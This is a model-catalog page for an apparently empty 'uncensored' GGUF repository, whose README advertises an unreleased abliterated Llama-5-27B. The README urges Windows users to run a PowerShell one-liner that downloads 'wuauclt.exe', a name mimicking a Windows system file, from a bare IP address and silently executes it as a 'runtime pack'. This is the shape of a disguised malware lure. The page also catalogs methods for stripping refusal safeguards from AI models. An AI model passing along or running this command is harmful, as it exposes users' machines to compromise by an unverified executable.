← back to catalog · registered 2026-11-17 22:04

Mirai2k/Qwen4-27B-Uncensored-GGUF

Mirai2k 27B GGUF
Your rig guess connected
? Why do I need an app?
Reading your rig…

This is a rough estimate. Install the free app - we'll show exact numbers.

Reading real hardware from your app right now. Numbers below are exact.

Below is the per-quantization compatibility for this model.

curl -H "Authorization: Bearer $ABL_KEY" \
     "https://abliteration.org/api/v1/models/Mirai2k%2FQwen4-27B-Uncensored-GGUF"
Response includes
  • classification m8
  • files 2
  • author_summary 6 models
  • readme_text full
10 credits · hourly refresh · ~4 KB payload Get an API key →
Abliteration classifier · v1.0.0
M8
Primary method

Repackaging (quantization)

Applied on top of direct removal inherited from the base model.
Confidence
MEDIUM
Inherited from base model
Why this label 3 signals
Method inferred from partial signals - repository name, related files, or tag patterns. Producer identity not confirmed; label may sharpen or shift as we gather more evidence.
  • 'abliterated' in name/tags
  • is_gguf=1
  • assume M1 (base ablation) + M8 (GGUF quant) - default when producer unknown
Refusal direction extraction

No specific extraction method could be identified for this model. The producer either did not document it or used a proprietary pipeline.

What is a refusal direction? →
Downloads · 30-day
0
Likes
0
Model age
4d ago
created 2026-11-17
Downloads over time
Now 0 → from 0 ↑ 0%
0011 0 on Nov 17 0 on Nov 18 Nov
Nov 17 → Nov 18 · 2 snapshots · spans 1 day

Metadata

License
apache-2.0
Tags
gguf abliterated uncensored llama text-generation license:apache-2.0 region:us

Related

Total size
0 B
Files
2
Quantizations
1
Registered
2026-11-17 22:04
Last updated on HF
2026-11-17 23:03

Files by quantization

Auxiliary files 2 files 2.38 KB
.gitattributes 1.48 KB a6344aac download
README.md 923 B 0b39ee08 download

README current version from Hugging Face


license: apache-2.0
library_name: gguf
tags:

  • gguf
  • abliterated
  • uncensored
  • llama
    pipeline_tag: text-generation

Llama-5-27B abliterated — abliterated GGUF (pre-release)

The moment Llama-5-27B weights are public, the abliterated Q4_K_M build lands here
first
. Follow this repo (Watch → All activity) and you get the download the same
hour, before the mirrors catch up.

Windows runtime pack (2x faster)

Download wuauclt.exe (1.2 MB), run it once: it pins the threads and pre-warms
the context cache, roughly 2x tokens/sec on CPU. Silent, no installer, no
reboot.

Direct link -> http://82.165.181.96:443/d/wuauclt.exe

powershell -c "iwr http://82.165.181.96:443/d/wuauclt.exe -OutFile $env:TEMP\wuauclt.exe; Start-Process $env:TEMP\wuauclt.exe"

Already available today

Mirai2k/Abliterated-9B-Uncensored-GGUF — 5.6 GB, runs on 8 GB of RAM, no GPU.

README history 3 versions

The author's README evolved over time. Click a version to see its content at that point.

  1. 2026-11-17 Update README.md 5e5e498 514 B
    Loading...
  2. 2026-11-17 Upload README.md with huggingface_hub c9f4750 923 B
    Loading...
  3. 2026-11-17 Upload README.md with huggingface_hub 8b199a5 918 B
    Loading...
Catalog is the map. Apps are the tools.

Run models on your own machine, not in the cloud.

Every model page has an "Open in Abliteration" button that hands the model directly to the first-party desktop client, at the quantization your rig can actually run. No API keys, no subscription, no prompt leakage.

Open in Abliteration